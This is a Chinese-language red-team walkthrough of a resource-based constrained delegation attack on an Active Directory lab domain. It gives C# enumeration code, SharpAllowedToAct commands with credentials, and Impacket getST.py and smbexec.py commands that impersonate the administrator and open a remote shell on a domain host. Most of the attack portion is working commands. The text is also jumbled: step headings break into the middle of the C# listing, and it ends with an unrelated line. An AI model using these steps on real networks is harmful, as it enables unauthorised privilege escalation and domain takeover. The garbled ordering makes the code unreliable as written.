注意:server2012才引入了基于资源的约束委派!!! 无需域管设置相关属性,请求ST的过程与先前的约束委派类似,传统的约束委派S4U2Self返回的票据一定是 可转发的,如果不可转发那么S4U2Proxy将失败;但是基于资源的约束委派不同,就算S4U2Self返回的票据 不可转发(可不可以转发由TrustedToAuthenticationForDelegation决定),S4U2Proxy也是可以成 功,并且S4U2Proxy返回的票据总是可转发 总之需要用户对主机的属性具备写权限
基于资源的约束委派(RBCD)是在Windows Server 2012中新加入的功能,与传统的约束委派相比,它不 再需要域管理员权限去设置相关属性。RBCD把设置委派的权限赋予了机器自身,既机器自己可以决定 谁可以被委派来控制我。也就是说机器自身可以直接在自己账户上配置msDSAllowedToActOnBehalfOfOtherIdentity属性来设置RBCD。 这里的关键就是谁可以修改属性
REDTEAM\hack -> WriteProperty(将机器加入域的账号,也就是mS-DS-CreatorSID属性中的账户) NT AUTHORITY\SELF -> WriteProperty(机器账户自身也可以修改) 我们再回顾一个知识点,默认域控的ms-DS-MachineAccountQuota属性设置允许所有域用户向一个域添加 多达10个计算机帐户,就是说只要有一个域凭据就可以在域内任意添加机器账户。这个凭据可以是域内的用户 账户、服务账户、机器账户。
域管:dc1 10.10.10.142
备用域管:dc2 10.10.10.140
域用户1:12server1 10.10.10.152
域用户2: 12server2 10.10.10.138
首先查询域普通用户加入域的机子
cs代码:
using System;
using System.Security.Principal;
using System.DirectoryServices;
namespace ConsoleApp9
{
class Program
{
static void Main(string[] args)
{
DirectoryEntry ldap_conn = new
DirectoryEntry("LDAP://dc=redteam,dc=club");
DirectorySearcher search = new DirectorySearcher(ldap_conn);
String query = "(&(objectClass=computer))";//查找计算机
search.Filter = query;
foreach (SearchResult r in search.FindAll())
{
String mS_DS_CreatorSID = "";
String computername = "";
try
{
computername = r.Properties["dNSHostName"][0].ToString();
mS_DS_CreatorSID = (new
SecurityIdentifier((byte[])r.Properties["mS-DS-CreatorSID"][0], 0)).ToString();
//Console.WriteLine("{0} {1}\n", computername,
mS_DS_CreatorSID);
}
catch
{
;
}
//再通过sid找用户名
String UserQuery = "(&(objectClass=user))";
DirectorySearcher search2 = new DirectorySearcher(ldap_conn);
查询到加入域主机的 域用户
使用SharpAllowedToAct修改委派 工具下载 https://github.com/HPVCA/SharpAllowedToAct
获取服务票据
search2.Filter = UserQuery;
foreach (SearchResult u in search2.FindAll())
{
String user_sid = (new
SecurityIdentifier((byte[])u.Properties["objectSid"][0], 0)).ToString();
if (user_sid == mS_DS_CreatorSID)
{
//Console.WriteLine("debug");
String username = u.Properties["name"][0].ToString();
Console.WriteLine("[*] [{0}] -> creator [{1}]",
computername, username);
}
}
}
}
}
}
编译代码生成exe
.\csc /out:D:\ConsoleApp9.exe "C:\Users\lenovo\Desktop\ConsoleApp9.cs"
查询到加入域主机的 域用户
使用SharpAllowedToAct修改委派 工具下载
SharpAllowedToAct.exe -m hack -p pass@123 -t 12server2 -a 10.10.10.142 redteam.club

修改kali配置文件

获取服务票据
python3 getST.py -dc-ip 10.10.10.142 redteam/hack\$:pass@123 -spn cifs/12server2.redteam.club -impersonate administrator

获取域普通主机权限
export KRB5CCNAME=administrator.ccache python3 smbexec.py -no-pass -k 12server2.redteam.club


You complete me